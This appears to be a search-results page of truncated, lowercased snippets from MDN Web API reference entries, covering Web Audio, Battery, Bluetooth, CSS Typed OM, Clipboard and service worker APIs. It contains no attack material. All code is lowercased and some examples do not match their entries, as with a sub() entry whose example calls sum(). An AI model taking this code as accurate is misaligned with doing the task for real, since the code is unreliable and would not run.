... for (let channel = 0; channel < channelcount; channel++) { const nowbuffering = myarraybuffer.getchanneldata(channel); for (let i = 0; i < framecount; i++) { nowbuffering[i] = math.random() * 2 - 1; } } const source = audioctx.createbuffersource(); source.buffer = myarraybuffer; source.connect(audioctx.destination); source.detune.value = 100; // value in cents source.start(); specifications specification status comment web audio apithe definition of 'detune' in that specification.
AudioContext.baseLatency - Web APIs
note: you can request a certain latency during construction time with the latencyhint option, but the browser may ignore the option.
... example // default latency ("interactive") const audioctx1 = new audiocontext(); console.log(audioctx1.baselatency); // 0.00 // higher latency ("playback") const audioctx2 = new audiocontext({ latencyhint: 'playback' }); console.log(audioctx2.baselatency); // 0.15 specifications specification status comment web audio apithe definition of 'baselatency' in that specification.
AudioContext.createMediaStreamTrackSource() - Web APIs
this differs from createmediastreamsource(), which creates a mediastreamaudiosourcenode whose audio comes from the audio track in a specified mediastream whose id is first, lexicographically (alphabetically).
... = function(e) { audio.play(); audio.muted = true; }; let audioctx = new audiocontext(); let source = audioctx.createmediastreamsource(stream); let biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 3000; biquadfilter.gain.value = 20; source.connect(biquadfilter); biquadfilter.connect(audioctx.destination); }) .catch(function(err) { // handle getusermedia() error }); specifications specification status comment web audio apithe definition of 'createmediastreamtracksource()' in that specification.
AudioNode.channelCountMode - Web APIs
in this case, channelcount is ignored and only up-mixing happens.
... example var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var oscillator = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillator.connect(gainnode); gainnode.connect(audioctx.destination); oscillator.channelcountmode = 'explicit'; specifications specification status comment web audio apithe definition of 'channelcountmode' in that specification.
AudioNodeOptions - Web APIs
the audionodeoptions dictionary of the web audio api specifies options that can be used when creating new audionode objects.
...(see audionode.channelcountmode for more information including default values.) specifications specification status comment web audio apithe definition of 'audionodeoptions' in that specification.
AudioParam.exponentialRampToValueAtTime() - Web APIs
note: exponential ramps are considered more useful when changing frequencies or playback rates than linear ramps because of the way the human ear works.
... specifications specification status comment web audio apithe definition of 'exponentialramptovalueattime' in that specification.
AudioParam.maxValue - Web APIs
syntax var maxval = audioparam.maxvalue; value a floating-point number indicating the maximum value permitted for the parameter's nominal range.
... example const audioctx = new audiocontext(); const gainnode = audioctx.creategain(); console.log(gainnode.gain.maxvalue); // 3.4028234663852886e38 specifications specification status comment web audio apithe definition of 'maxvalue' in that specification.
AudioParam.minValue - Web APIs
syntax var minval = audioparam.minvalue; value a floating-point number indicating the minimum value permitted for the parameter's nominal range.
... example const audioctx = new audiocontext(); const gainnode = audioctx.creategain(); console.log(gainnode.gain.minvalue); // -3.4028234663852886e38 specifications specification status comment web audio apithe definition of 'minvalue' in that specification.
AudioTrack.label - Web APIs
WebAPIAudioTracklabel
specifications specification status comment html living standardthe definition of 'audiotrack.label' in that specification.
... living standard html5the definition of 'audiotrack.label' in that specification.
AudioTrackList: change event - Web APIs
bubbles no cancelable no interface event event handler property onchange examples using addeventlistener(): const videoelement = document.queryselector('video'); videoelement.audiotracks.addeventlistener('change', (event) => { console.log(`'${event.type}' event fired`); }); // changing the value of `enabled` will trigger the `change` event const toggletrackbutton = document.queryselector('.toggle-track'); toggletrackbutton.addeventlistener('click', () => { const track = videoelement.audiotracks[0]; track.enabled = !track.enabled; }); using the onchange event handler property: const videoelement = doc...
...eryselector('video'); videoelement.audiotracks.onchange = (event) => { console.log(`'${event.type}' event fired`); }; // changing the value of `enabled` will trigger the `change` event const toggletrackbutton = document.queryselector('.toggle-track'); toggletrackbutton.addeventlistener('click', () => { const track = videoelement.audiotracks[0]; track.enabled = !track.enabled; }); specifications specification status html living standardthe definition of 'change' in that specification.
AudioWorkletNode() - Web APIs
processoroptions optional any additional data that can be used for custom initialization of the underlying audioworkletprocessor.
... specifications specification status comment web audio apithe definition of 'audioworkletnode()' in that specification.
AudioWorkletNode.onprocessorerror - Web APIs
the onprocessorerror property of the audioworkletnode interface defines an event handler function to be called when the processorerror event fires.
...}; examples // fill in example snippet specifications specification status comment web audio apithe definition of 'onprocessorerror' in that specification.
BaseAudioContext.audioWorklet - Web APIs
the audioworklet read-only property of the baseaudiocontext interface returns an instance of audioworklet that can be used for adding audioworkletprocessor-derived classes which implement custom audio processing.
... specifications specification status comment web audio apithe definition of 'audioworklet' in that specification.
BaseAudioContext.createChannelMerger() - Web APIs
gainnode.connect(merger, 0, 1); splitter.connect(merger, 1, 0); var dest = ac.createmediastreamdestination(); // because we have used a channelmergernode, we now have a stereo // mediastream we can use to pipe the web audio graph to webrtc, // mediarecorder, etc.
... merger.connect(dest); }); specifications specification status comment web audio apithe definition of 'createchannelmerger()' in that specification.
BaseAudioContext.createChannelSplitter() - Web APIs
gainnode.connect(merger, 0, 1); splitter.connect(merger, 1, 0); var dest = ac.createmediastreamdestination(); // because we have used a channelmergernode, we now have a stereo // mediastream we can use to pipe the web audio graph to webrtc, // mediarecorder, etc.
... merger.connect(dest); }); specifications specification status comment web audio apithe definition of 'createchannelsplitter()' in that specification.
BaseAudioContext.createConvolver() - Web APIs
the basic premise is that you create an audiobuffer containing a sound sample to be used as an ambience to shape the convolution (called the impulse response,) and apply that to the convolver.
... convolver.buffer = concerthallbuffer; specifications specification status comment web audio apithe definition of 'createconvolver()' in that specification.
BaseAudioContext.createIIRFilter() - Web APIs
the createiirfilter() method of the baseaudiocontext interface creates an iirfilternode, which represents a general infinite impulse response (iir) filter which can be configured to serve as various types of filter.
... specifications specification status comment web audio apithe definition of 'createiirfilter()' in that specification.
BaseAudioContext.createOscillator() - Web APIs
it basically generates a constant tone.
... // create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(3000, audioctx.currenttime); // value in hertz oscillator.connect(audioctx.destination); oscillator.start(); specifications specification status comment web audio apithe definition of 'createoscillator' in that specification.
BaseAudioContext.createStereoPanner() - Web APIs
the createstereopanner() method of the baseaudiocontext interface creates a stereopannernode, which can be used to apply stereo panning to an audio source.
...anner var pannode = audioctx.createstereopanner(); // event handler function to increase panning to the right and left // when the slider is moved pancontrol.oninput = function() { pannode.pan.setvalueattime(pancontrol.value, audioctx.currenttime); panvalue.innerhtml = pancontrol.value; } // connect the mediaelementaudiosourcenode to the pannode // and the pannode to the destination, so we can play the // music and adjust the panning using the controls source.connect(pannode); pannode.connect(audioctx.destination); specifications specification status comment web audio apithe definition of 'createstereopanner()' in that specification.
BaseAudioContext.createWaveShaper() - Web APIs
note: sigmoid functions are commonly used for distortion curves because of their natural properties.
... distortion.curve = makedistortioncurve(400); distortion.oversample = '4x'; specifications specification status comment web audio apithe definition of 'createwaveshaper()' in that specification.
BaseAudioContext.listener - Web APIs
the listener property of the baseaudiocontext interface returns an audiolistener object that can then be used for implementing 3d audio spatialization.
... var mylistener = audioctx.listener; specifications specification status comment web audio apithe definition of 'listener' in that specification.
BaseAudioContext.onstatechange - Web APIs
the onstatechange property of the baseaudiocontext interface defines an event handler function to be called when the statechange event fires: this occurs when the audio context's state changes.
... audioctx.onstatechange = function() { console.log(audioctx.state); } specifications specification status comment web audio apithe definition of 'onstatechange' in that specification.
BaseAudioContext.sampleRate - Web APIs
syntax baseaudiocontext.samplerate; value a floating point number indicating the audio context's sample rate, in samples per second.
... console.log(audioctx.samplerate); specifications specification status comment web audio apithe definition of 'samplerate' in that specification.
BatteryManager.onchargingchange - Web APIs
syntax battery.onchargingchange = funcref where battery is a batterymanager object, and funcref is a function to be called when the chargingchange event occurs.
...tery level unknown)</div> <div id="chargingtime">(charging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { battery.onchargingchange = chargingchange(); function chargingchange() { document.queryselector('#level').textcontent = battery.level; document.queryselector('#chargingtime').textcontent = battery.chargingtime; } }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.onchargingtimechange - Web APIs
syntax battery.onchargingtimechange = funcref where battery is a batterymanager object, and funcref is a function to be called when the chargingtimechange event occurs.
...</div> <div id="chargingtime">(charging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { battery.onchargingtimechange = chargingtimechange(); function chargingtimechange(){ document.queryselector('#level').textcontent = battery.level; document.queryselector('#chargingtime').textcontent = battery.chargingtime; } }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.ondischargingtimechange - Web APIs
syntax battery.ondischargingtimechange = funcref where battery is a batterymanager object, and funcref is a function to be called when the dischargingtimechange event occurs.
...<div id="chargingtime">(charging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { battery.ondischargingtimechange = dischargingtimechange; function dischargingtimechange(){ document.queryselector('#level').textcontent = battery.level; document.queryselector('#chargingtime').textcontent = battery.chargingtime; } }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.onlevelchange - Web APIs
syntax navigator.battery.onlevelchange = funcref where battery is a batterymanager object, and funcref is a function to be called when the levelchange event occurs.
...ange = function(){ document.queryselector('#level').textcontent = battery.level; if(battery.charging) { document.queryselector('#statebaterry').textcontent = "charging time: " + (battery.chargingtime / 60); } else { document.queryselector('#statebaterry').textcontent = "discharging time: " + (battery.dischargingtime / 60); } }; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BiquadFilterNode.gain - Web APIs
it is expressed in db, has a default value of 0 and can take a value in a nominal range of -40 to 40.
...odes together source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; specifications specification status comment web audio apithe definition of 'gain' in that specification.
Blob() - Web APIs
WebAPIBlobBlob
the content of the blob consists of the concatenation of the values given in the parameter array.
... example var afileparts = ['<a id="a"><b id="b">hey!</b></a>']; // an array consisting of a single domstring var omyblob = new blob(afileparts, {type : 'text/html'}); // the blob specification specification status comment file apithe definition of 'blob()' in that specification.
Blob.text() - Web APIs
WebAPIBlobtext
blob.text() always uses utf-8 as encoding, while filereader.readastext() can use a different encoding depending on the blob's type and a specified encoding name.
... specifications specification status comment file apithe definition of 'blob.text()' in that specification.
Blob.type - Web APIs
WebAPIBlobtype
var i, fileinput, files, allowedfiletypes; // fileinput is a htmlinputelement: <input type="file" multiple id="myfileinput"> fileinput = document.getelementbyid("myfileinput"); // files is a filelist object (simliar to nodelist) files = fileinput.files; // our application only allows gif, png, and jpeg images allowedfiletypes = ["image/png", "image/jpeg", "image/gif"]; for (i = 0; i < files.length; i++) { // test if file.type is an allowed file type.
... } }); specifications specification status comment file apithe definition of 'blob.type' in that specification.
BlobEvent.timecode - Web APIs
the timecode readonlyinline property of the blobevent interface a domhighrestimestamp indicating the difference between the timestamp of the first chunk in data, and the timestamp of the first chunk in the first blobevent produced by this recorder.
... specifications specification status comment mediastream recordingthe definition of 'timecode' in that specification.
Bluetooth.getDevices() - Web APIs
the program can detect when a device comes online or into range by watching for bluetooth advertisements by calling bluetoothdevice.watchadvertisements() on that device.
... specifications specification status comment web bluetooththe definition of 'getdevices()' in that specification.
Bluetooth.onavailabilitychanged - Web APIs
syntax bluetooth.onavailabilitychanged = functionref; value functionref is the handler function to be called when the bluetooth availabilitychanged event fires.
... specifications specification status comment web bluetooththe definition of 'bluetooth' in that specification.
BluetoothCharacteristicProperties.notify - Web APIs
the notify read-only property of the bluetoothcharacteristicproperties interface returns a boolean that is true if notifications of the characteristic value without acknowledgement is permitted.
... specifications specification status comment web bluetooththe definition of 'notify' in that specification.
BluetoothRemoteGATTCharacteristic.readValue() - Web APIs
the bluetoothremotegattcharacteristic.readvalue() method returns a promise that resolves to a dataview holding a duplicate of the value property if it is available and supported.
... specifications specification status comment web bluetooththe definition of 'readvalue()' in that specification.
readValue() - Web APIs
the bluetoothremotegattdescriptor.readvalue() method returns a promise that resolves to an arraybuffer holding a duplicate of the value property if it is available and supported.
... specifications specification status comment web bluetooththe definition of 'readvalue()' in that specification.
value - Web APIs
the bluetoothremotegattdescriptor.value read-only property returns an arraybuffer containing the currently cached descriptor value.
... specifications specification status comment web bluetooththe definition of 'value' in that specification.
BluetoothRemoteGATTServer.connect() - Web APIs
the bluetoothremotegattserver.connect() method causes the script execution environment to connect to this.device.
... specifications specification status comment web bluetooththe definition of 'connect()' in that specification.
BluetoothRemoteGATTServer.connected - Web APIs
it can be false while the user agent is physically connected.
... syntax var connected = bluetoothremotegattserver.connected specifications specification status comment web bluetooththe definition of 'connected' in that specification.
BluetoothRemoteGATTServer.disconnect() - Web APIs
the bluetoothremotegattserver.disconnect() method causes the script execution environment to disconnect from this.device.
... specifications specification status comment web bluetooththe definition of 'disconnect()' in that specification.
isPrimary - Web APIs
the bluetoothgattservice.isprimary read-only property returns a boolean that indicates whether this is a primary service.
... specifications specification status comment web bluetooththe definition of 'isprimary' in that specification.
BluetoothRemoteGATTService - Web APIs
bluetoothremotegattservice.isprimaryread only returns a boolean indicating whether this is a primary or secondary service.
... specifications specification status comment web bluetooththe definition of 'bluetoothremotegattservice' in that specification.
Body.arrayBuffer() - Web APIs
WebAPIBodyarrayBuffer
once getdata() has finished running, we start the audio source playing with start(0), then disable the play button so it can't be clicked again when it is already playing (this would cause an error.) function getdata() { source = audioctx.createbuffersource(); var myrequest = new request('viper.ogg'); fetch(myrequest).then(function(response) { return response.arraybuffer(); }).then(function(buffer) { audioctx.decodeaudiodata(buffer, function(decodeddata) { source.buffer = decodeddata; so...
... function readfile(file) { return new response(file).arraybuffer(); } <input type="file" onchange="readfile(this.files[0])"> specifications specification status comment fetchthe definition of 'arraybuffer()' in that specification.
Body.body - Web APIs
WebAPIBodybody
example in our simple stream pump example we fetch an image, expose the response's stream using response.body, create a reader using readablestream.getreader(), then enqueue that stream's chunks into a second, custom readable stream — effectively creating an identical copy of the image.
... if (done) { controller.close(); return; } // enqueue the next data chunk into our target stream controller.enqueue(value); return pump(); }); } } }) }) .then(stream => new response(stream)) .then(response => response.blob()) .then(blob => url.createobjecturl(blob)) .then(url => console.log(image.src = url)) .catch(err => console.error(err)); specifications specification status comment fetchthe definition of 'body' in that specification.
Body.formData() - Web APIs
WebAPIBodyformData
if a user submits a form and a service worker intercepts the request, you could for example call formdata() on it to obtain a key-value map, modify some fields, then send the form onwards to the server (or use it locally).
... specifications specification status comment fetchthe definition of 'formdata()' in that specification.
ByteLengthQueuingStrategy.ByteLengthQueuingStrategy() - Web APIs
this is a non-negative integer defining the total number of chunks that can be contained in the internal queue before backpressure is applied.
... }, cancel(err) { console.log("stream error:", err); } }, queuingstrategy); var size = queuingstrategy.size(chunk); specifications specification status comment streamsthe definition of 'bytelengthqueuingstrategy()' in that specification.
ByteLengthQueuingStrategy - Web APIs
the bytelengthqueuingstrategy interface of the the streams api provides a built-in byte length queuing strategy that can be used when constructing streams.
... }, cancel(err) { console.log("stream error:", err); } }, queueingstrategy); var size = queueingstrategy.size(chunk); specifications specification status comment streamsthe definition of 'bytelengthqueuingstrategy' in that specification.
ByteString - Web APIs
specifications specification status comment web idlthe definition of 'bytestring' in that specification.
... candidate recommendation initial definition.
CSS.paintWorklet (Static property) - Web APIs
WebAPICSSpaintWorklet
paintworklet is a static, read-only property of the css interface that provides access to the paintworklet, which programmatically generates an image where a css property expects a file.
... <script> if ('paintworklet' in css) { css.paintworklet.addmodule('checkerboard.js'); } </script> specifications specification status comment css painting api level 1the definition of 'paintworklet' in that specification.
CSSConditionRule - Web APIs
specifications specification status comment css conditional rules module level 3the definition of 'cssconditionrule' in that specification.
... candidate recommendation initial definition.
CSSMathSum.CSSMathSum() - Web APIs
the cssmathsum() constructor creates a new cssmathsum object which creates a new csskeywordvalue object which represents the result obtained by calling add(), sub(), or tosum() on cssnumericvalue.
... specifications specification status comment css typed om level 1the definition of 'cssmathsum()' in that specification.
CSSNumericValue.add() - Web APIs
return value a cssmathsum exceptions typeerror indicates that an invalid type was passed to the method.
... examples let mathsum = css.px("23").add(css.percent("4")).add(css.cm("3")).add(css.in("9")); // prints "calc(23px + 4% + 3cm + 9in)" console.log(mathsum.tostring()); specifications specification status comment css typed om level 1the definition of 'add' in that specification.
CSSNumericValue.div() - Web APIs
exceptions typeerror indicates that an invalid type was passed to the method.
... examples let mathproduct = css.px("24").div(css.percent("4")); // prints "calc(24px / 4%)" mathproduct.tostring(); specifications specification status comment css typed om level 1the definition of 'div' in that specification.
CSSNumericValue.equals() - Web APIs
the equals() method of the cssnumericvalue interface returns a boolean indicating whether the passed value are strictly equal.
... let cssmathsum = new cssmathsum(css.px(1), css.px(2)); let matchingcssmathsum = new cssmathsum(css.px(1), css.px(2)); // prints true console.log(cssmathsum.equals(matchingcssmathsum)); let othercssmathsum = cssmathsum(css.px(2), css.px(1)); // prints false console.log(cssmathsum.equals(othercssmathsum)); // also prints false console.log(css.cm("1").equal(css.in("0.393701"))); specifications specification status comment css typed om level 1the definition of 'equals' in that specification.
CSSNumericValue.max() - Web APIs
exceptions typeerror indicates that an invalid type was passed to the method.
... // prints "2cm" console.log(css.cm("1").max(css.cm("2")).tostring()); // prints "max(1cm, 0.393701in)" console.log(css.cm("1").max(css.in("0.393701")).tostring()); specifications specification status comment css typed om level 1the definition of 'max' in that specification.
CSSNumericValue.min() - Web APIs
exceptions typeerror indicates that an invalid type was passed to the method.
... // prints "1cm" console.log(css.cm("1").min(css.cm("2")).tostring()); // prints "max(1cm, 0.393701in)" console.log(css.cm("1").max(css.in("0.393701")).tostring()); specifications specification status comment css typed om level 1the definition of 'min' in that specification.
CSSNumericValue.mul() - Web APIs
return value a cssmathproduct exceptions typeerror indicates that an invalid type was passed to the method.
... examples let mathsum = css.px("23").mul(css.percent("4")).mul(css.cm("3")).mul(css.in("9")); // prints "calc(23px * 4% * 3cm * 9in)" console.log(mathsum.tostring()); specifications specification status comment css typed om level 1the definition of 'mul' in that specification.
CSSNumericValue.sub() - Web APIs
return value a cssmathsum exceptions typeerror indicates that an invalid type was passed to the method.
... examples let mathsum = css.px("23").sum(css.percent("4")).sum(css.cm("3")).sum(css.in("9")); // prints "calc(23px - 4% - 3cm - 9in)" console.log(mathsum.tostring()); and/or include a list of links to useful code samples that live elsewhere: specifications specification status comment css typed om level 1the definition of 'sub' in that specification.
CSSNumericValue.sum() - Web APIs
syntax var cssmathsum = cssnumericvalue.sub(number); parameters number either a number or a cssmathsum return value a cssmathsum exceptions typeerror indicates that an invalid type was passed to the method.
... examples let mathsum = css.px("23").sum(css.percent("4")).sum(css.cm("3")).sum(css.in("9")); // prints "calc(23px - 4% - 3cm - 9in)" console.log(mathsum.tostring()); and/or include a list of links to useful code samples that live elsewhere: specifications specification status comment css typed om level 1the definition of 'sub' in that specification.
CSSNumericValue.toSum() - Web APIs
exceptions syntaxerror undefined typeerror indicates that an invalid type was passed to the method.
... examples let v = css.px("23").add(css.percent("4")).add(css.cm("3")).add(css.in("9")); v.tostring() // => "calc(23px + 4% + 3cm + 9in)" v.tosum("px", "percent").tostring() // => "calc(1000.39px + 4%)" specifications specification status comment css typed om level 1the definition of 'tosum' in that specification.
CSSPageRule - Web APIs
specifications specification status comment css object model (cssom)the definition of 'csspagerule' in that specification.
... working draft no changes from document object model (dom) level 2 style specification document object model (dom) level 2 style specificationthe definition of 'csspagerule' in that specification.
CSSPrimitiveValue.getCounterValue() - Web APIs
modification to the corresponding style property can be achieved using the counter interface.
... specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.getcountervalue' in that specification.
CSSPrimitiveValue.getRectValue() - Web APIs
modification to the corresponding style property can be achieved using the rect interface.
... example var cs = window.getcomputedstyle(document.getelementbyid("clippeddiv")); var cssvalue = cs.getpropertycssvalue("clip"); console.log(cssvalue.getrectvalue()); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssprimitivevalue.getrectvalue' in that specification.
CSSRule.cssText - Web APIs
WebAPICSSRulecssText
be aware that this property can no longer be set directly, as it is now specified to be functionally modify-only, and silently so.
... syntax string = cssrule.csstext example <style> body { background-color: darkblue; } </style> <script> var stylesheet = document.stylesheets[0]; alert(stylesheet.cssrules[0].csstext); // body { background-color: darkblue; } </script> specifications specification status comment css object model (cssom)the definition of 'cssrule: csstext' in that specification.
CSSStyleDeclaration.cssText - Web APIs
to be able to set a stylesheet rule dynamically, see using dynamic styling information.
... example <span id="s1" style="color: red;"> some text </span> <script> var elem = document.getelementbyid("s1"); alert(elem.style.csstext); // "color: red;" </script> specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration: csstext' in that specification.
CSSStyleDeclaration.getPropertyPriority() - Web APIs
example the following javascript code checks whether margin is marked as important in a css selector rule: var declaration = document.stylesheets[0].cssrules[0].style; var isimportant = declaration.getpropertypriority('margin') === 'important'; specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.getpropertypriority()' in that specification.
... working draft document object model (dom) level 2 style specificationthe definition of 'cssstyledeclaration' in that specification.
CSSStyleDeclaration.getPropertyValue() - Web APIs
example the following javascript code queries the value of the margin property in a css selector rule: var declaration = document.stylesheets[0].cssrules[0].style; var value = declaration.getpropertyvalue('margin'); // "1px 2px" specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.getpropertyvalue()' in that specification.
... working draft document object model (dom) level 2 style specificationthe definition of 'cssstyledeclaration' in that specification.
CSSStyleDeclaration.item() - Web APIs
javascript has a special simpler syntax for obtaining an item from a nodelist by index: var propertyname = style[index]; example var style = document.getelementbyid('div1').style; var propertyname = style.item(1); // or simply style[1] - returns the second style listed specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.item()' in that specification.
... working draft document object model (dom) level 2 style specificationthe definition of 'cssstyledeclaration' in that specification.
CSSStyleDeclaration.length - Web APIs
example the following gets the number of explicitly set styles on the following html element: <div id="div1" style="margin: 0 10px; background-color: #ca1; font-family: monospace"></div> javascript code: var mydiv = document.getelementbyid('div1'); var divstyle = mydiv.style; var len = divstyle.length; // 6 specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.length' in that specification.
... working draft document object model (dom) level 2 style specificationthe definition of 'cssstyledeclaration' in that specification.
CSSStyleDeclaration.parentRule - Web APIs
example the following javascript code gets the parent css style rule from a cssstyledeclaration: var declaration = document.stylesheets[0].rules[0].style; var rule = declaration.parentrule; specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.parentrule' in that specification.
... working draft document object model (dom) level 2 style specificationthe definition of 'cssstyledeclaration' in that specification.
CSSStyleRule - Web APIs
specifications specification status comment css object model (cssom)the definition of 'cssstylerule' in that specification.
... working draft no changes document object model (dom) level 2 style specificationthe definition of 'cssrule' in that specification.
CSSStyleSheet.cssRules - Web APIs
examples individual rules within the stylesheet can then be accessed by index: let rulelist = document.stylesheets[0].cssrules; for (let i=0; i < rulelist.length; i++) { processrule(rulelist[i]); } rules can also be accessed using for...of: let rulelist = document.stylesheets[0].cssrules; for (let rule of rulelist) { processrule(rule); } however, because cssrule is not a proper array, you can't use foreach().
... specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.cssrules' in that specification.
CSSStyleSheet.deleteRule() - Web APIs
syntax cssstylesheet.deleterule(index) parameters index the index into the stylesheet's cssrulelist indicating the rule to be removed.
... mystyles.deleterule(0); specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.deleterule()' in that specification.
CSSSupportsRule - Web APIs
specification specification status comment css conditional rules module level 3the definition of 'csssupportsrule' in that specification.
... candidate recommendation initial definition ...
CSSUnitValue.unit - Web APIs
WebAPICSSUnitValueunit
the cssunitvalue.unit read-only property of the cssunitvalue interface returns a usvstring indicating the type of unit.
... let pos = new csspositionvalue( new cssunitvalue( 5, "px" ), new cssunitvalue( 10, "em" )); console.log( pos.x.unit ); // "px" console.log( pos.y.unit ); // "em" specifications specification status comment css typed om level 1the definition of 'cssunitvalue.unit' in that specification.
CSSUnitValue.value - Web APIs
the cssunitvalue.value property of the cssunitvalue interface returns a double indicating the number of units.
... let pos = new csspositionvalue( new cssunitvalue( 5, "px" ), new cssunitvalue( 10, "px" )); console.log( pos.x.value ); // 5 console.log( pos.y.value ); // 10 specifications specification status comment css typed om level 1the definition of 'cssunitvalue.value' in that specification.
CSSVariableReferenceValue - Web APIs
this object functionality is sometimes called a "css variable" and serves the same purpose as the var() function.
... specifications specification status comment css typed om level 1the definition of 'cssvariablereferencevalue' in that specification.
CSS Counter Styles - Web APIs
the css counter styles module allows to define custom counter styles, which can be used for css list-marker and generated-content counters.
... specifications specification status comment css counter styles level 3 candidate recommendation initial definition ...
CSS Font Loading API - Web APIs
the css font loading api provides events and interfaces for dynamically loading font resources.
... specifications specification status comment css font loading module level 3 working draft initial definition.
ChildNode.remove() - Web APIs
WebAPIChildNoderemove
with(node) { remove(); } // referenceerror: remove is not defined polyfill you can polyfill the remove() method in internet explorer 9 and higher with the following code: // from:https://github.com/jserz/js_piece/blob/master/dom/childnode/remove()/remove().md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('remove')) { return; } object.defineproperty(item, 'remove', { configurable: true, enumerable: true, writable:...
... true, value: function remove() { this.parentnode.removechild(this); } }); }); })([element.prototype, characterdata.prototype, documenttype.prototype]); specifications specification status comment domthe definition of 'childnode.remove' in that specification.
Client.postMessage() - Web APIs
this can be any structured-clonable type.
... client.postmessage({ msg: "hey i just got a fetch from you!", url: event.request.url }); }()); }); receiving that message: navigator.serviceworker.addeventlistener('message', event => { console.log(event.data.msg, event.data.url); }); specifications specification status comment service workersthe definition of 'postmessage()' in that specification.
Client.url - Web APIs
WebAPIClienturl
example self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: 'window' }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status ...
...comment service workersthe definition of 'url' in that specification.
Clients.claim() - Web APIs
WebAPIClientsclaim
the claim() method causes those pages to be controlled immediately.
... self.addeventlistener('activate', event => { event.waituntil(clients.claim()); }); specifications specification status comment service workersthe definition of 'claim()' in that specification.
ClipboardEvent.clipboardData - Web APIs
the clipboardevent.clipboarddata property holds a datatransfer object, which can be used: to specify what data should be put into the clipboard from the cut and copy event handlers, typically with a setdata(format, data) call; to obtain the data to be pasted from the paste event handler, typically with a getdata(format) call.
... syntax data = clipboardevent.clipboarddata specifications specification status comment clipboard api and eventsthe definition of 'clipboardevent.clipboarddata' in that specification.
ClipboardEvent - Web APIs
the clipboardevent interface represents events providing information related to modification of the clipboard, that is cut, copy, and paste events.
... specifications specification status comment clipboard api and eventsthe definition of 'clipboardevent' in that specification.
ClipboardItem() - Web APIs
note: you can only pass in one clipboard item at a time.
... async function writeclipimg() { try { const imgurl = '/myimage.png'; const data = await fetch(imgurl); const blob = await data.blob(); await navigator.clipboard.write([ new clipboarditem({ [blob.type]: blob }) ]); console.log('fetched image copied.'); } catch(err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
CloseEvent() - Web APIs
closeeventinit optional is a closeeventinit dictionary, having the following fields: "wasclean", optional and defaulting to false, of type long, indicates if the connection has been closed cleanly or not.
... specifications specification status comment html living standardthe definition of 'closeevent()' in that specification.
CompositionEvent.data - Web APIs
this value doesn't change even if content changes the selection range; rather, it indicates the string that was selected when composition started.
... specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'data' in that specification.
Console.dirxml() - Web APIs
WebAPIConsoledirxml
the output is presented as a hierarchical listing of expandable nodes that let you see the contents of child nodes.
... specifications specification status comment console apithe definition of 'console.dirxml()' in that specification.
Console.error() - Web APIs
WebAPIConsoleerror
syntax console.error(obj1 [, obj2, ..., objn]); console.error(msg [, subst1, ..., substn]); console.exception(obj1 [, obj2, ..., objn]); console.exception(msg [, subst1, ..., substn]); note: console.exception() is an alias for console.error(); they are functionally identical.
... specifications specification status comment console apithe definition of 'console.error()' in that specification.
Console.groupCollapsed() - Web APIs
call console.groupend() to back out to the parent group.
... specifications specification status comment console apithe definition of 'console.groupcollapsed()' in that specification.
Console.profile() - Web APIs
WebAPIConsoleprofile
you can optionally supply an argument to name the profile and this then enables you to stop only that profile if multiple profiles being recorded.
... to stop recording call console.profileend().
Console API - Web APIs
find out about these at: google chrome devtools implementation safari devtools implementation usage is very simple — the console object — available via window.console, or workerglobalscope.console in workers; accessible using just console — contains many methods that you can call to perform rudimentary debugging tasks, generally focused around logging various values to the browser's web console.
... specifications specification status comment console api living standard initial definition.
ConstantSourceNode() - Web APIs
the normal range is -1.0 to 1.0, but the value can be anywhere in the range from -infinity to +infinity.
... specifications specification status comment web audio apithe definition of 'constantsourcenode: constantsourcenode' in that specification.
ContentIndex - Web APIs
// our content const item = { id: 'post-1', url: '/posts/amet.html', title: 'amet consectetur adipisicing', description: 'repellat et quia iste possimus ducimus aliquid a aut eaque nostrum.', icons: [{ src: '/media/dark.png', sizes: '128x128', type: 'image/png', }], category: 'article' }; // our asynchronous function to add indexed content async function registercontent(data) { const registration = await navigator.serviceworker.ready; // feature detect content index if (!registration.index) { return; } // register content try { await registration.index.add(data); } catch (e) { console.log('failed to register content: ', e.message); } } ...
...they are accessible from the workerglobalscope.self property: // service worker script self.registration.index.add(item); self.registration.index.delete(item.id); const contentindexitems = self.registration.index.getall(); specifications specification status comment unknownthe definition of 'contentindex' in that specification.
ContentIndexEvent() - Web APIs
syntax var contentindexevent = new contentindexevent(type, contentindexeventinit); parameters type a domstring indicating the event which occurred.
